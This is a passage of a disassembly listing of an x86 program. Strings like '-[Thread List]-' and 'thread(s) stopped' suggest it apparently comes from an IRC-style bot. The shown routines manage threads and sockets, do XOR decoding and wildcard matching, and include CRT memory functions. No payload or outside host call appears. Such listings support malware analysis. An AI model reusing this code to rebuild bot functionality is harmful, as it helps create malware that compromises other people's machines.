		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_4132A8:				; CODE XREF: sub_4131B7+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_4132A8


loc_4132B6:				; CODE XREF: sub_4131B7+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_4132BB:				; CODE XREF: sub_4131B7+61j
		pop	esi
		leave
		retn
sub_4131B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4132BE	proc near		; CODE XREF: sub_404ECE+220p
					; sub_406059+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_452028


loc_4132C6:				; CODE XREF: sub_4132BE+18j
		cmp	byte ptr [eax],	0
		jz	short loc_4132DA
		add	eax, 134h
		inc	edi
		cmp	eax, offset dword_741F68
		jl	short loc_4132C6
		jmp	short loc_413325
; ---------------------------------------------------------------------------


loc_4132DA:				; CODE XREF: sub_4132BE+Bj
		push	esi
		mov	esi, edi
		imul	esi, 134h
		push	0FEh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_452028[esi]
		push	eax
		call	sub_415140
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_452128[esi], eax
		and	dword_45212C[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_452130[esi], 0
		mov	dword_452134[esi], eax
		and	byte_452140[esi], 0
		pop	esi


loc_413325:				; CODE XREF: sub_4132BE+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_4132BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413329	proc near		; DATA XREF: sub_40CC09+51ACo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_41337B
		push	[ebp+var_14]
		call	sub_4135DA
		add	esp, 14h
		push	0
		call	ds:off_41F040
		pop	edi
		pop	esi
sub_413329	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41337B	proc near		; CODE XREF: sub_413329+38p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_452028


loc_4133A5:				; CODE XREF: sub_41337B+78j
		cmp	byte ptr [esi],	0
		jz	short loc_4133E6
		cmp	[ebp+arg_C], 0
		jnz	short loc_4133B9
		cmp	dword ptr [esi+104h], 0
		jnz	short loc_4133E6


loc_4133B9:				; CODE XREF: sub_41337B+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_100]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_100]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 24h


loc_4133E6:				; CODE XREF: sub_41337B+2Dj
					; sub_41337B+3Cj
		add	esi, 134h
		inc	edi
		cmp	esi, offset dword_741F68
		jl	short loc_4133A5
		pop	edi
		pop	esi
		leave
		retn
sub_41337B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4133F9	proc near		; CODE XREF: sub_40CC09+457Bp
					; sub_413487+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_413481
		cmp	esi, 2710h
		jge	short loc_413481
		imul	esi, 134h
		push	edi
		push	ebx
		push	dword_45213C[esi]
		lea	edi, dword_45213C[esi]
		call	ds:off_41F130
		cmp	[edi], ebx
		jz	short loc_413431
		push	1
		pop	ebp


loc_413431:				; CODE XREF: sub_4133F9+33j
		mov	[edi], ebx
		lea	edi, dword_452130[esi]
		mov	dword_452128[esi], ebx
		mov	dword_45212C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_413452
		push	eax
		call	sub_4126C5
		pop	ecx


loc_413452:				; CODE XREF: sub_4133F9+50j
		mov	[edi], ebx
		lea	edi, dword_452134[esi]
		mov	byte ptr dword_452028[esi], bl
		mov	byte_452140[esi], bl
		push	dword ptr [edi]
		call	dword_44CD70	; closesocket
		lea	esi, dword_452138[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_44CD70	; closesocket
		mov	[esi], ebx
		pop	edi


loc_413481:				; CODE XREF: sub_4133F9+Dj
					; sub_4133F9+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4133F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_413487	proc near		; CODE XREF: sub_408701:loc_408725p
					; sub_40ACAF+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_452028


loc_413493:				; CODE XREF: sub_413487+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_4134A4
		push	edi
		call	sub_4133F9
		test	eax, eax
		pop	ecx
		jz	short loc_4134A4
		inc	ebx


loc_4134A4:				; CODE XREF: sub_413487+Fj
					; sub_413487+1Aj
		add	esi, 134h
		inc	edi
		cmp	esi, offset dword_741F68
		jl	short loc_413493
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_413487	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134B9	proc near		; CODE XREF: sub_40CC09+1BC6p
					; sub_41354C+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_45212C


loc_4134CD:				; CODE XREF: sub_4134B9+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4134EF
		test	edi, edi
		jle	short loc_4134E1
		cmp	[esi], edi
		jz	short loc_4134E1
		cmp	ebx, edi
		jnz	short loc_4134EF


loc_4134E1:				; CODE XREF: sub_4134B9+1Ej
					; sub_4134B9+22j
		push	ebx
		call	sub_4133F9
		test	eax, eax
		pop	ecx
		jz	short loc_4134EF
		inc	[ebp+var_4]


loc_4134EF:				; CODE XREF: sub_4134B9+1Aj
					; sub_4134B9+26j ...
		add	esi, 134h
		inc	ebx
		cmp	esi, offset dword_74206C
		jl	short loc_4134CD
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4134B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_413506	proc near		; CODE XREF: sub_405FE2+Bp
					; sub_406059+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_452128


loc_41350D:				; CODE XREF: sub_413506+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_413516
		inc	eax


loc_413516:				; CODE XREF: sub_413506+Dj
		add	ecx, 134h
		cmp	ecx, offset dword_742068
		jl	short loc_41350D
		retn
sub_413506	endp


; =============== S U B	R O U T	I N E =======================================



sub_413525	proc near		; CODE XREF: sub_40CC09+4C54p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_452128


loc_41352F:				; CODE XREF: sub_413525+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_413548
		add	ecx, 134h
		inc	edx
		cmp	ecx, offset dword_742068
		jl	short loc_41352F
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413548:				; CODE XREF: sub_413525+10j
		mov	eax, edx
		pop	esi
		retn
sub_413525	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41354C	proc near		; CODE XREF: sub_40CC09+FE1p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_413565
		push	[ebp+arg_1C]
		call	sub_413D7F
		pop	ecx


loc_413565:				; CODE XREF: sub_41354C+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_4134B9
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_413591
		push	eax
		lea	eax, [ebp+var_100]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_413812
		add	esp, 14h
		jmp	short loc_4135AB
; ---------------------------------------------------------------------------


loc_413591:				; CODE XREF: sub_41354C+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_100]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_413812
		add	esp, 10h


loc_4135AB:				; CODE XREF: sub_41354C+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_4135CB
		push	0
		lea	eax, [ebp+var_100]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 14h


loc_4135CB:				; CODE XREF: sub_41354C+63j
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_409833
		pop	ecx
		leave
		retn
sub_41354C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4135DA	proc near		; CODE XREF: sub_401000+A2p
					; sub_401447+8Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 134h
		mov	dword_45213C[eax], ecx
		mov	dword_452128[eax], ecx
		mov	dword_45212C[eax], ecx
		mov	dword_452130[eax], ecx
		mov	dword_452134[eax], ecx
		mov	dword_452138[eax], ecx
		mov	byte ptr dword_452028[eax], cl
		mov	byte_452140[eax], cl
		retn
sub_4135DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413617	proc near		; CODE XREF: sub_40ADCF+18Bp
					; sub_40ADCF+1A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_413621:				; CODE XREF: sub_413617+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_413681
		cmp	eax, 1
		jnz	short loc_413681
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_413681
		cmp	cl, 2Ah
		jz	short loc_413668
		cmp	cl, 3Fh
		jz	short loc_41364B
		cmp	cl, 5Bh
		jz	short loc_413650
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_41364B:				; CODE XREF: sub_413617+26j
		inc	[ebp+arg_4]
		jmp	short loc_41367B
; ---------------------------------------------------------------------------


loc_413650:				; CODE XREF: sub_413617+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_4136AD
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41367B
; ---------------------------------------------------------------------------


loc_413668:				; CODE XREF: sub_413617+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_413745
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_41367B:				; CODE XREF: sub_413617+37j
					; sub_413617+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_413621
; ---------------------------------------------------------------------------


loc_413681:				; CODE XREF: sub_413617+Ej
					; sub_413617+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_413691
		cmp	eax, 1
		jnz	short loc_4136A8
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_413681
; ---------------------------------------------------------------------------


loc_413691:				; CODE XREF: sub_413617+6Dj
		cmp	eax, 1
		jnz	short loc_4136A8
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_4136A8
		cmp	byte ptr [esi],	0
		jnz	short loc_4136A8
		push	1
		pop	eax
		jmp	short loc_4136AA
; ---------------------------------------------------------------------------


loc_4136A8:				; CODE XREF: sub_413617+72j
					; sub_413617+7Dj ...
		xor	eax, eax


loc_4136AA:				; CODE XREF: sub_413617+8Fj
		pop	esi
		pop	ebp
		retn
sub_413617	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136AD	proc near		; CODE XREF: sub_413617+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_4136CE
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_4136CE:				; CODE XREF: sub_4136AD+19j
		push	ebx
		push	esi


loc_4136D0:				; CODE XREF: sub_4136AD+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_4136DE
		cmp	[ebp+var_4], eax
		jnz	short loc_41372A


loc_4136DE:				; CODE XREF: sub_4136AD+2Aj
		test	edi, edi
		jnz	short loc_41371F
		cmp	bl, 2Dh
		jnz	short loc_413713
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_413713
		cmp	al, 5Dh
		jz	short loc_413713
		cmp	[ebp+var_4], edi
		jnz	short loc_413713
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_41371F
		cmp	bl, al
		jg	short loc_41371F
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_41371F
; ---------------------------------------------------------------------------


loc_413713:				; CODE XREF: sub_4136AD+38j
					; sub_4136AD+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_41371F
		push	1
		pop	edi


loc_41371F:				; CODE XREF: sub_4136AD+33j
					; sub_4136AD+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_4136D0
; ---------------------------------------------------------------------------


loc_41372A:				; CODE XREF: sub_4136AD+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_413737
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_413737:				; CODE XREF: sub_4136AD+82j
		cmp	edi, eax
		jnz	short loc_413740
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_413740:				; CODE XREF: sub_4136AD+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_4136AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413745	proc near		; CODE XREF: sub_413617+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_413761:				; CODE XREF: sub_413745+3Aj
		cmp	[eax], bl
		jz	short loc_413781
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_413776
		cmp	cl, 2Ah
		jnz	short loc_413781
		cmp	cl, 3Fh
		jnz	short loc_413779


loc_413776:				; CODE XREF: sub_413745+25j
		inc	eax
		mov	[edi], eax


loc_413779:				; CODE XREF: sub_413745+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_413761
; ---------------------------------------------------------------------------


loc_413781:				; CODE XREF: sub_413745+1Ej
					; sub_413745+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_41378C
		inc	dword ptr [esi]
		jmp	short loc_413781
; ---------------------------------------------------------------------------


loc_41378C:				; CODE XREF: sub_413745+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_4137AD
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_41379E
		xor	eax, eax
		jmp	short loc_41380D
; ---------------------------------------------------------------------------


loc_41379E:				; CODE XREF: sub_413745+53j
		cmp	cl, bl
		jnz	short loc_4137AD
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_4137AD
		push	1
		pop	eax
		jmp	short loc_41380D
; ---------------------------------------------------------------------------


loc_4137AD:				; CODE XREF: sub_413745+4Dj
					; sub_413745+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_413617
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137F7


loc_4137BB:				; CODE XREF: sub_413745+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_4137BF:				; CODE XREF: sub_413745+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_4137D7
		cmp	cl, 5Bh
		jz	short loc_4137D7
		cmp	dl, bl
		jz	short loc_4137D7
		inc	eax
		mov	[edi], eax
		jmp	short loc_4137BF
; ---------------------------------------------------------------------------


loc_4137D7:				; CODE XREF: sub_413745+82j
					; sub_413745+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_4137EE
		push	eax
		push	dword ptr [esi]
		call	sub_413617
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4137F3
; ---------------------------------------------------------------------------


loc_4137EE:				; CODE XREF: sub_413745+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_4137F3:				; CODE XREF: sub_413745+A7j
		cmp	eax, ebx
		jnz	short loc_4137BB


loc_4137F7:				; CODE XREF: sub_413745+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_41380A
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_41380A
		mov	[ebp+var_4], 1


loc_41380A:				; CODE XREF: sub_413745+B6j
					; sub_413745+BCj
		mov	eax, [ebp+var_4]


loc_41380D:				; CODE XREF: sub_413745+57j
					; sub_413745+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413745	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413812	proc near		; CODE XREF: sub_401000+61p
					; sub_4010B2+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_416065
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_413852
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41385F
; ---------------------------------------------------------------------------


loc_413852:				; CODE XREF: sub_413812+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_415F50
		pop	ecx
		pop	ecx


loc_41385F:				; CODE XREF: sub_413812+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413812	endp


; =============== S U B	R O U T	I N E =======================================



sub_413864	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401BD7+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_437768, eax
		retn
sub_413864	endp


; =============== S U B	R O U T	I N E =======================================



sub_41386E	proc near		; CODE XREF: sub_4010B2+CBp
					; sub_4010B2+13Fp ...
		mov	eax, dword_437768
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_437768, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41386E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413890	proc near		; CODE XREF: sub_4010B2+281p
					; sub_401447+181p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4138E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4138D7
		neg	ecx
		and	ecx, 3
		jz	short loc_4138B9
		sub	edx, ecx


loc_4138B3:				; CODE XREF: sub_413890+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_4138B3


loc_4138B9:				; CODE XREF: sub_413890+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4138D7
		rep stosd
		test	edx, edx
		jz	short loc_4138DD


loc_4138D7:				; CODE XREF: sub_413890+18j
					; sub_413890+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4138D7


loc_4138DD:				; CODE XREF: sub_413890+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4138E3:				; CODE XREF: sub_413890+Aj
		mov	eax, [esp+arg_0]
		retn
sub_413890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4138F0	proc near		; CODE XREF: sub_4010B2+22Dp
					; sub_4010B2+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_413910
		cmp	edi, eax
		jb	loc_413A88


loc_413910:				; CODE XREF: sub_4138F0+16j
		test	edi, 3
		jnz	short loc_41392C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41394C
		rep movsd
		jmp	ds:off_413A38[edx*4]
; ---------------------------------------------------------------------------


loc_41392C:				; CODE XREF: sub_4138F0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_413944
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41394C+4[eax*4]
; ---------------------------------------------------------------------------


loc_413944:				; CODE XREF: sub_4138F0+46j
		jmp	dword ptr ds:loc_413A48[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41394C:				; CODE XREF: sub_4138F0+31j
					; sub_4138F0+8Ej ...
		jmp	ds:off_4139CC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_413960
		dd offset loc_41398C
		dd offset loc_4139B0
; ---------------------------------------------------------------------------


loc_413960:				; DATA XREF: sub_4138F0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41394C
		rep movsd
		jmp	ds:off_413A38[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41398C:				; DATA XREF: sub_4138F0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41394C
		rep movsd
		jmp	ds:off_413A38[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4139B0:				; DATA XREF: sub_4138F0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41394C
		rep movsd
		jmp	ds:off_413A38[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4139CC	dd offset loc_413A2F	; DATA XREF: sub_4138F0:loc_41394Cr
		dd offset loc_413A1C
		dd offset loc_413A14
		dd offset loc_413A0C
		dd offset loc_413A04
		dd offset loc_4139FC
		dd offset loc_4139F4
		dd offset loc_4139EC
; ---------------------------------------------------------------------------


loc_4139EC:				; CODE XREF: sub_4138F0:loc_41394Cj
					; DATA XREF: sub_4138F0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4139F4:				; CODE XREF: sub_4138F0:loc_41394Cj
					; DATA XREF: sub_4138F0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4139FC:				; CODE XREF: sub_4138F0:loc_41394Cj
					; DATA XREF: sub_4138F0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_413A04:				; CODE XREF: sub_4138F0:loc_41394Cj
					; DATA XREF: sub_4138F0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_413A0C:				; CODE XREF: sub_4138F0:loc_41394Cj
					; DATA XREF: sub_4138F0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_413A14:				; CODE XREF: sub_4138F0:loc_41394Cj
					; DATA XREF: sub_4138F0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_413A1C:				; CODE XREF: sub_4138F0:loc_41394Cj
					; DATA XREF: sub_4138F0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_413A2F:				; CODE XREF: sub_4138F0:loc_41394Cj
					; DATA XREF: sub_4138F0:off_4139CCo
		jmp	ds:off_413A38[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_413A38	dd offset loc_413A48	; DATA XREF: sub_4138F0+35r
					; sub_4138F0+92r ...
		dd offset loc_413A50
		dd offset loc_413A5C
		dd offset loc_413A70
; ---------------------------------------------------------------------------


loc_413A48:				; CODE XREF: sub_4138F0+35j
					; sub_4138F0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_413A50:				; CODE XREF: sub_4138F0+35j
					; sub_4138F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413A5C:				; CODE XREF: sub_4138F0+35j
					; sub_4138F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_413A70:				; CODE XREF: sub_4138F0+35j
					; sub_4138F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413A88:				; CODE XREF: sub_4138F0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_413ABC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_413AB0
		std
		rep movsd
		cld
		jmp	ds:off_413BD0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_413AB0:				; CODE XREF: sub_4138F0+1B1j
					; sub_4138F0+208j ...
		neg	ecx
		jmp	dword ptr ds:loc_413B7F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_413ABC:				; CODE XREF: sub_4138F0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_413AD4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_413AD4+4[eax*4]
; ---------------------------------------------------------------------------


loc_413AD4:				; CODE XREF: sub_4138F0+1D6j
					; DATA XREF: sub_4138F0+1DDr
